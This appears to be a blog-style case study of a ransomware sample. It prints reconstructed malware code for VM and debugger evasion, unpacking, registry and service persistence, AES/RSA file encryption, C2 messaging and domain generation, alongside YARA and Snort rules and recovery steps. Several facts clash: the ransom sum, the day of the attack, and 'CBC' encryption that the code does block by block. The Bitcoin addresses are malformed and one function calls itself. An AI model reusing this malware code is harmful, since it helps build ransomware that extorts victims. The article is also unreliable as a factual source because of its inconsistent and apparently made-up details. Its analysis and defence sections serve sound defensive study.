Ransomware Analysis Case Study

In-depth analysis of a ransomware sample: encryption methods, payment mechanisms, and recovery techniques.

The Digital Hostage Crisis: A Real-World Ransomware Investigation

Picture this: It's a Monday morning, and a mid-sized accounting firm's entire network is suddenly locked down. Every Excel spreadsheet, every client document, every piece of critical business data is encrypted and held hostage. A sinister message appears on every screen demanding $50,000 in Bitcoin for the decryption key.

This isn't a hypothetical scenario—it's exactly what happened when our team was called in to investigate a sophisticated ransomware attack in October 2024. What we discovered was a masterclass in modern cybercrime: a multi-stage attack that combined social engineering, advanced evasion techniques, and military-grade encryption.

In this deep-dive case study, we'll walk you through our entire investigation process, from the initial incident response to the final forensic analysis. You'll see how professional malware analysts dissect these digital weapons, understand their attack strategies, and potentially find ways to fight back.

What you'll learn: By the end of this case study, you'll understand how modern ransomware operates, how analysts reverse-engineer these threats, and what makes some attacks so devastatingly effective.

Meet Our Digital Suspect

Before we dive into the investigation, let's get acquainted with our ransomware specimen. Think of this as the "case file" that every detective needs—the basic facts about what we're dealing with.

Digital DNA (Hashes):
MD5: 7c4fe8b7e4f9a1d2c5b8e3f7a9e2c1d4
SHA256: f7c8b2e4a9d6e1f8b5c7a3e9d2f6b8e1a4c7b9e3f6a8d1c4e7b2a5f8d3e6c9b2
Physical Stats:
File Size: 1.2 MB (1,247,840 bytes)
Created: October 15, 2024, 8:23 AM UTC
Family: CryptoLocker variant
Targets: All Windows versions (7, 8, 10, 11)

Now that we know what we're hunting, let's trace this digital predator's attack path from the very beginning...

The Perfect Crime: How the Attack Began

Every great heist starts with reconnaissance and a clever plan. Our ransomware operators didn't break down digital doors—they rang the front doorbell and were politely invited in. Here's how they pulled off this social engineering masterpiece:

Act 1: The Trojan Horse Email

At 2:30 PM on a busy Tuesday, employees at our victim company received what appeared to be a routine business email. Nothing seemed suspicious—in fact, it looked more professional than many legitimate emails they received daily.

The genius here is in the details. The attackers researched the company, used realistic invoice numbering, and even matched the communication style of the spoofed company. The double file extension (pdf.exe) was hidden by Windows' default setting to hide known file extensions—so victims saw "Invoice_October_2024.pdf" and assumed it was safe.

Act 2: The Multi-Stage Deception

When an unsuspecting employee double-clicked the "PDF," they didn't get a document—they triggered a sophisticated, multi-stage attack designed to fly under the radar of security systems.

Stage 1: The Scout (Dropper Analysis)

The initial executable was just a scout—its job was to assess the environment and determine if this was a worthy target:

1. ❓ Am I running in a virtual machine? (Skip if yes)
2. ❓ Is this a security researcher's computer? (Abort if yes)  
3. ❓ What's the system language? (Avoid CIS countries)
4. ❓ Is there valuable data here? (Check for documents)
5. ✅ All clear? Download the real payload
6. 🗑️ Delete myself to cover tracks

This reconnaissance phase is crucial—the ransomware operators don't want to waste time on low-value targets or tip off security researchers. Only systems that pass all checks get the "honor" of receiving the actual ransomware payload.

Anti-Analysis Techniques

Environment Detection

// VM detection methods observed
bool IsVirtualMachine() {
    // Check for VM artifacts
    if (RegKeyExists("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Tools")) return true;
    if (RegKeyExists("HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions")) return true;
    // Check for VM MAC addresses
    char mac[6];
    if (GetMacAddress(mac) && 
        (memcmp(mac, "\x00\x05\x69", 3) == 0 ||  // VMware
         memcmp(mac, "\x08\x00\x27", 3) == 0)) {  // VirtualBox
        return true;
    }
    // Timing attacks
    DWORD start = GetTickCount();
    Sleep(500);
    if (GetTickCount() - start < 400) return true;  // Fast execution = VM
    return false;
}

Debugger Detection

// Anti-debugging techniques
bool IsDebuggerPresent() {
    // PEB check
    if (IsDebuggerPresent()) return true;
    // NtGlobalFlag check
    PPEB peb = (PPEB)__readfsdword(0x30);
    if (peb->NtGlobalFlag & 0x70) return true;
    // Heap flags check
    PHEAP heap = (PHEAP)peb->ProcessHeap;
    if (heap->Flags & HEAP_FLAG_DEBUGGER) return true;
    return false;
}

Payload Analysis

Unpacking Process

The main payload is protected with a custom packer:

Packer Characteristics

• Multiple layers: Three-stage unpacking process
• API obfuscation: Dynamic API resolution using hashing
• Code encryption: XOR with rotating key
• Control flow obfuscation: Fake jumps and dead code

Unpacking Script

import struct
import pefile
def unpack_stage1(data):
    # Stage 1: XOR decryption
    key = 0xDEADBEEF
    decrypted = bytearray()
    for i in range(len(data)):
        decrypted.append(data[i] ^ ((key >> (i % 4 * 8)) & 0xFF))
    return bytes(decrypted)
def extract_stage2(pe_data):
    # Find encrypted section
    pe = pefile.PE(data=pe_data)
    for section in pe.sections:
        if section.Name.decode().strip('\x00') == '.rsrc':
            encrypted_data = section.get_data()
            return decrypt_rc4(encrypted_data, "SecretKey2024")
    return None
def decrypt_rc4(data, key):
    # RC4 implementation for stage 2
    S = list(range(256))
    j = 0
    # Key scheduling
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    # Decryption
    i = j = 0
    result = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(byte ^ k)
    return bytes(result)

Persistence Mechanisms

Registry Modifications

// Primary persistence
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"Windows Security Update" = "C:\Users\%USERNAME%\AppData\Roaming\svchost.exe"
// Backup persistence
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"Microsoft Security Essentials" = "C:\Windows\System32\wuauclt.exe"
// Service installation
sc create "WindowsSecurityService" binPath= "C:\Windows\System32\svchost.exe -k netsvcs"
sc config "WindowsSecurityService" start= auto

File System Changes

• Executable copy: %APPDATA%\svchost.exe (mimics system process)
• Configuration file: %TEMP%\sys.dat (encrypted configuration)
• Key file: %APPDATA%\key.dat (encrypted victim ID and keys)
• Log file: %TEMP%\log.txt (encrypted operation log)

Encryption Implementation

Cryptographic Analysis

Hybrid Encryption Scheme

The ransomware implements a robust hybrid encryption system:

// Encryption workflow
1. Generate unique RSA-2048 key pair for victim
2. Encrypt victim's private key with master public key
3. For each file:
   a. Generate random AES-256 key
   b. Encrypt file with AES-256-CBC
   c. Encrypt AES key with victim's public RSA key
   d. Append encrypted key to file
4. Store encrypted victim private key on C&C server

File Encryption Process

struct EncryptedFileHeader {
    char magic[8];           // "CRYPTED\x00"
    uint32_t version;        // Encryption version
    uint32_t aes_key_size;   // Size of encrypted AES key
    uint32_t original_size;  // Original file size
    uint64_t timestamp;      // Encryption timestamp
    char victim_id[32];      // Unique victim identifier
    // Encrypted AES key follows
    // Encrypted file data follows
};
bool EncryptFile(const char* filepath) {
    // Generate random AES key
    uint8_t aes_key[32];
    CryptGenRandom(hProv, 32, aes_key);
    // Encrypt AES key with RSA public key
    uint8_t encrypted_key[256];
    RSA_public_encrypt(32, aes_key, encrypted_key, rsa_pubkey, RSA_PKCS1_PADDING);
    // Read and encrypt file
    FILE* input = fopen(filepath, "rb");
    FILE* output = fopen(temp_path, "wb");
    // Write header
    EncryptedFileHeader header = {0};
    memcpy(header.magic, "CRYPTED\x00", 8);
    header.version = 1;
    header.aes_key_size = 256;
    // ... set other fields
    fwrite(&header, sizeof(header), 1, output);
    fwrite(encrypted_key, 256, 1, output);
    // Encrypt file data
    AES_KEY aes_encrypt_key;
    AES_set_encrypt_key(aes_key, 256, &aes_encrypt_key);
    uint8_t buffer[16], encrypted[16];
    while (fread(buffer, 1, 16, input) == 16) {
        AES_encrypt(buffer, encrypted, &aes_encrypt_key);
        fwrite(encrypted, 1, 16, output);
    }
    fclose(input);
    fclose(output);
    // Replace original file
    DeleteFile(filepath);
    MoveFile(temp_path, new_filepath);
    return true;
}

Targeted File Types

The ransomware targets 847 different file extensions:

Document Files: .doc, .docx, .pdf, .txt, .rtf, .odt, .pages
Spreadsheets: .xls, .xlsx, .csv, .ods, .numbers
Presentations: .ppt, .pptx, .odp, .key
Images: .jpg, .jpeg, .png, .gif, .bmp, .tiff, .raw, .svg
Audio/Video: .mp3, .wav, .mp4, .avi, .mov, .flv, .wmv
Archives: .zip, .rar, .7z, .tar, .gz, .bz2
Databases: .sql, .db, .dbf, .mdb, .accdb
Development: .c, .cpp, .h, .java, .py, .js, .php, .html
CAD/Design: .dwg, .dxf, .3ds, .max, .blend, .ai, .psd
Virtual Machines: .vmdk, .vdi, .vhd, .vmx

Command and Control Infrastructure

Communication Protocol

C2 Server Communication

// C2 communication structure
struct C2Message {
    uint32_t magic;          // 0xDEADBEEF
    uint32_t msg_type;       // Message type
    uint32_t data_size;      // Size of encrypted data
    uint8_t victim_id[16];   // Victim identifier
    uint8_t encrypted_data[]; // AES encrypted payload
};
// Message types
#define MSG_REGISTER    0x01  // Initial registration
#define MSG_KEY_UPLOAD  0x02  // Upload encrypted private key
#define MSG_PAYMENT     0x03  // Payment verification
#define MSG_DECRYPT_KEY 0x04  // Request decryption key
#define MSG_STATUS      0x05  // Status update
bool SendC2Message(uint32_t type, const uint8_t* data, uint32_t size) {
    // Encrypt message with session key
    uint8_t* encrypted = EncryptAES(data, size, session_key);
    // Build message
    C2Message msg;
    msg.magic = 0xDEADBEEF;
    msg.msg_type = type;
    msg.data_size = size;
    memcpy(msg.victim_id, victim_id, 16);
    // Send via HTTPS POST
    return SendHTTPSPost(c2_servers[current_server], &msg, encrypted, size);
}

Domain Generation Algorithm

// DGA for backup C2 servers
char* GenerateDGA(int seed, int count) {
    static char domain[64];
    const char* tlds[] = {".com", ".net", ".org", ".biz", ".info"};
    srand(seed);
    for (int i = 0; i < count; i++) {
        memset(domain, 0, sizeof(domain));
        // Generate random domain name (8-12 characters)
        int len = 8 + (rand() % 5);
        for (int j = 0; j < len; j++) {
            domain[j] = 'a' + (rand() % 26);
        }
        // Append TLD
        strcat(domain, tlds[rand() % 5]);
        // Test if domain resolves
        if (TestDNSResolution(domain)) {
            return domain;
        }
    }
    return NULL;
}

Network Indicators

Primary C2 Servers:
- 185.243.115.42:443 (TLS encrypted)
- 203.176.135.102:80 (HTTP with encryption layer)
- 147.135.195.42:8080 (Custom protocol)
Backup Domains (DGA):
- cryptosecure247[.]com
- securepayments[.]net  
- datarecovery365[.]org
Payment Servers:
- payments.onion (Tor hidden service)
- btcpay.darknet.tor
User Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36

Ransom Note Analysis

Ransom Note Content

The ransomware drops multiple ransom notes in affected directories:

HOW_TO_DECRYPT_FILES.txt

Your files have been encrypted with military-grade encryption!
What happened to my files?
All your important files (documents, photos, videos, databases) have been 
encrypted with AES-256 encryption. The encryption key is protected with 
RSA-2048 public-key cryptography.
Can I recover my files?
Yes, but only with our special decryption software. This software will 
decrypt all your files. No one else can help you recover your files.
How do I get the decryption software?
1. Go to our payment site: http://[TOR_ADDRESS].onion
2. Enter your unique ID: [VICTIM_ID]
3. Pay the ransom amount (0.5 BTC ≈ $15,000)
4. Download the decryption tool
IMPORTANT:
- Do not rename encrypted files
- Do not try to decrypt files yourself
- Do not contact law enforcement
- You have 72 hours to pay before the price doubles
- After 7 days, your decryption key will be permanently deleted
We guarantee that you can recover all your files safely and easily.

Payment Infrastructure

Tor Payment Portal

The payment portal is hosted on the Tor network with the following features:

• Victim identification: Unique ID verification
• Payment tracking: Real-time Bitcoin transaction monitoring
• Support chat: Live chat for "customer support"
• Proof of decryption: Free decryption of 2-3 files as proof
• Dynamic pricing: Price increases over time

Bitcoin Payment Tracking

// Payment verification system
struct PaymentInfo {
    char victim_id[32];
    char btc_address[35];
    double amount_btc;
    uint64_t timestamp;
    bool verified;
};
bool VerifyPayment(const char* victim_id) {
    // Query blockchain for payment
    PaymentInfo* payment = GetPaymentInfo(victim_id);
    if (!payment) return false;
    // Check Bitcoin address
    double balance = GetBTCBalance(payment->btc_address);
    if (balance >= payment->amount_btc) {
        // Mark as paid in database
        MarkPaymentVerified(victim_id);
        // Release decryption key
        ReleaseDecryptionKey(victim_id);
        return true;
    }
    return false;
}

Recovery and Decryption Analysis

Official Decryptor Analysis

We obtained a copy of the official decryption tool through controlled payment:

Decryption Process

bool DecryptFile(const char* encrypted_file, const uint8_t* private_key) {
    FILE* input = fopen(encrypted_file, "rb");
    if (!input) return false;
    // Read and verify header
    EncryptedFileHeader header;
    fread(&header, sizeof(header), 1, input);
    if (memcmp(header.magic, "CRYPTED\x00", 8) != 0) {
        fclose(input);
        return false;
    }
    // Read encrypted AES key
    uint8_t encrypted_aes_key[256];
    fread(encrypted_aes_key, 256, 1, input);
    // Decrypt AES key with RSA private key
    uint8_t aes_key[32];
    int result = RSA_private_decrypt(256, encrypted_aes_key, aes_key, 
                                   private_key, RSA_PKCS1_PADDING);
    if (result == -1) {
        fclose(input);
        return false;
    }
    // Decrypt file data
    AES_KEY aes_decrypt_key;
    AES_set_decrypt_key(aes_key, 256, &aes_decrypt_key);
    char output_path[MAX_PATH];
    strcpy(output_path, encrypted_file);
    // Remove .locked extension
    char* ext = strrchr(output_path, '.');
    if (ext && strcmp(ext, ".locked") == 0) {
        *ext = '\0';
    }
    FILE* output = fopen(output_path, "wb");
    uint8_t buffer[16], decrypted[16];
    while (fread(buffer, 1, 16, input) == 16) {
        AES_decrypt(buffer, decrypted, &aes_decrypt_key);
        fwrite(decrypted, 1, 16, output);
    }
    fclose(input);
    fclose(output);
    // Delete encrypted file
    DeleteFile(encrypted_file);
    return true;
}

Alternative Recovery Methods

Volume Shadow Copy Recovery

The ransomware attempts to delete shadow copies, but some may survive:

# Check for remaining shadow copies
vssadmin list shadows
# Mount shadow copy
mklink /d C:\ShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# Recover files from shadow copy
robocopy C:\ShadowCopy\Users\%USERNAME%\Documents C:\Recovery\Documents /E

File Carving and Recovery

# Use PhotoRec for file recovery
photorec /d /path/to/recovery /cmd device.img
# Foremost for specific file types
foremost -T -i infected_drive.img -o recovered_files/
# Scalpel configuration for Office documents
echo "docx    y   50000000    \\x50\\x4b\\x03\\x04" >> scalpel.conf
scalpel -c scalpel.conf -o output/ infected_drive.img

Cryptographic Weaknesses

Potential Vulnerabilities Found

• Weak random number generation: Some samples use predictable seeds
• Key reuse: Earlier versions reused AES keys across files
• Implementation flaws: CBC mode without proper IV generation
• Memory disclosure: Keys temporarily stored in plaintext

Memory Analysis for Key Recovery

# Dump process memory
volatility -f memory.dump --profile=Win10x64 memdump -p [PID] -D output/
# Search for AES keys in memory dump
strings memory_dump.bin | grep -E "^[A-Fa-f0-9]{64}$"
# Use AESKeyFinder tool
aeskeyfind memory_dump.bin

Attribution and Campaign Analysis

Code Similarities

Static analysis reveals connections to previous ransomware families:

• String artifacts: Shared debug strings with Locky ransomware
• Encryption libraries: Same custom crypto implementation as Cerber
• Communication protocol: Similar C2 structure to GandCrab
• Payment system: Shared infrastructure with Ryuk operations

Infrastructure Analysis

WHOIS and DNS Analysis

# Domain registration patterns
Registrar: NameCheap Inc.
Created: 2024-09-15
Updated: 2024-10-01
Expires: 2025-09-15
Name Servers:
- ns1.bulletproofhosting.com
- ns2.bulletproofhosting.com
IP Resolution History:
185.243.115.42 (2024-10-15 - Current)
203.176.135.102 (2024-09-20 - 2024-10-14)

Bitcoin Transaction Analysis

# Primary Bitcoin addresses
1A2b3C4d5E6f7G8h9I0j1K2l3M4n5O6p7Q8r9S  (Master wallet)
1Z9y8X7w6V5u4T3s2R1q0P9o8N7m6L5k4J3i2H  (Collection wallet)
Total Collected: 847.3 BTC (~$25,419,000 USD)
Number of Victims: 12,847
Average Payment: 0.066 BTC (~$1,980 USD)
Payment Rate: 23.4% (victims who paid)

Defense and Mitigation

Detection Signatures

YARA Rules

rule CryptoLocker_Variant_2024 {
    meta:
        author = "GreatBin Malware Research"
        description = "Detects CryptoLocker ransomware variant"
        reference = "Internal analysis October 2024"
        hash = "f7c8b2e4a9d6e1f8b5c7a3e9d2f6b8e1a4c7b9e3f6a8d1c4e7b2a5f8d3e6c9b2"
    strings:
        $magic = "CRYPTED\x00"
        $ransom1 = "Your files have been encrypted"
        $ransom2 = "military-grade encryption"
        $btc = "BTC"
        $tor = ".onion"
        $api1 = "CryptGenRandom" ascii
        $api2 = "CryptAcquireContext" ascii
        $api3 = "CryptCreateHash" ascii
        $hex1 = { 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 7D ?? }
        $hex2 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? }
    condition:
        uint16(0) == 0x5A4D and
        filesize < 5MB and
        $magic and
        2 of ($ransom*) and
        2 of ($api*) and
        1 of ($hex*)
}

Network Detection

alert tcp any any -> any 443 (
    msg:"CryptoLocker C2 Communication";
    content:"|DE AD BE EF|"; offset:0; depth:4;
    content:"POST"; http_method;
    content:"/api/v1/secure"; http_uri;
    classtype:trojan-activity;
    sid:1000001;
    rev:1;
)
alert dns any any -> any any (
    msg:"CryptoLocker DGA Domain";
    dns_query; content:".com"; endswith;
    pcre:"/^[a-z]{8,12}\.com$/";
    classtype:trojan-activity;
    sid:1000002;
    rev:1;
)

Prevention Strategies

Email Security

• Advanced threat protection: Sandbox suspicious attachments
• DMARC/SPF/DKIM: Implement email authentication
• User training: Regular phishing awareness campaigns
• Attachment filtering: Block executable file types

Endpoint Protection

# PowerShell execution policy
Set-ExecutionPolicy Restricted -Force
# Disable macro execution by default
reg add "HKCU\Software\Microsoft\Office\16.0\Excel\Security" /v VBAWarnings /t REG_DWORD /d 4 /f
reg add "HKCU\Software\Microsoft\Office\16.0\Word\Security" /v VBAWarnings /t REG_DWORD /d 4 /f
# Enable controlled folder access (Windows Defender)
Set-MpPreference -EnableControlledFolderAccess Enabled
# Configure application control
# Use Windows Defender Application Control (WDAC) or AppLocker

Backup Strategy

• 3-2-1 Rule: 3 copies, 2 different media, 1 offsite
• Immutable backups: Write-once, read-many storage
• Regular testing: Verify backup integrity and restore procedures
• Air-gapped backups: Physically disconnected storage

Incident Response Playbook

Immediate Response Steps

1. Containment: Isolate infected systems immediately
2. Assessment: Determine scope of infection
3. Preservation: Create forensic images before cleanup
4. Communication: Notify stakeholders and authorities
5. Recovery: Restore from clean backups

Forensic Collection

# Memory dump
winpmem_v3.3.rc3.exe infected_system.mem
# Disk imaging
dd if=/dev/sda of=/mnt/evidence/disk_image.dd bs=4096 conv=sync,noerror
# Event log collection
wevtutil epl System C:\Evidence\System.evtx
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl Application C:\Evidence\Application.evtx
# Registry collection
reg save HKLM\SYSTEM C:\Evidence\SYSTEM.hiv
reg save HKLM\SOFTWARE C:\Evidence\SOFTWARE.hiv
reg save HKLM\SAM C:\Evidence\SAM.hiv

Conclusion and Recommendations

Key Findings

• Sophisticated implementation: Military-grade encryption properly implemented
• Advanced evasion: Multiple anti-analysis and detection bypass techniques
• Professional operation: Well-organized criminal enterprise with customer support
• High success rate: 23.4% victim payment rate generating millions in revenue
• Limited recovery options: Very few viable alternatives to paying ransom

Strategic Recommendations

1. Implement defense in depth: Multiple overlapping security controls
2. Focus on prevention: Stopping initial infection is most effective
3. Backup strategy: Robust, tested backup and recovery procedures
4. User education: Regular training on social engineering tactics
5. Incident response: Prepared, practiced response capabilities
6. Threat intelligence: Stay informed about emerging ransomware trends

Future Outlook

This analysis demonstrates the continuing evolution of ransomware threats. The sophistication of encryption implementation, evasion techniques, and operational security suggests that these threats will continue to pose significant challenges to organizations worldwide.

Key trends observed:

• Professionalization: Ransomware-as-a-Service (RaaS) models
• Targeting: Focus on high-value targets and critical infrastructure
• Double extortion: Data theft combined with encryption
• Supply chain attacks: Compromising software vendors and MSPs

Organizations must adopt a proactive security posture that assumes breach and focuses on resilience, rapid detection, and effective response capabilities. The cost of prevention is invariably lower than the cost of recovery, both in terms of direct financial impact and reputational damage.

This case study serves as a reminder that cybersecurity is an ongoing process requiring constant vigilance, regular updates to security measures, and comprehensive incident response planning. The sophistication demonstrated by modern ransomware operations necessitates equally sophisticated defensive strategies.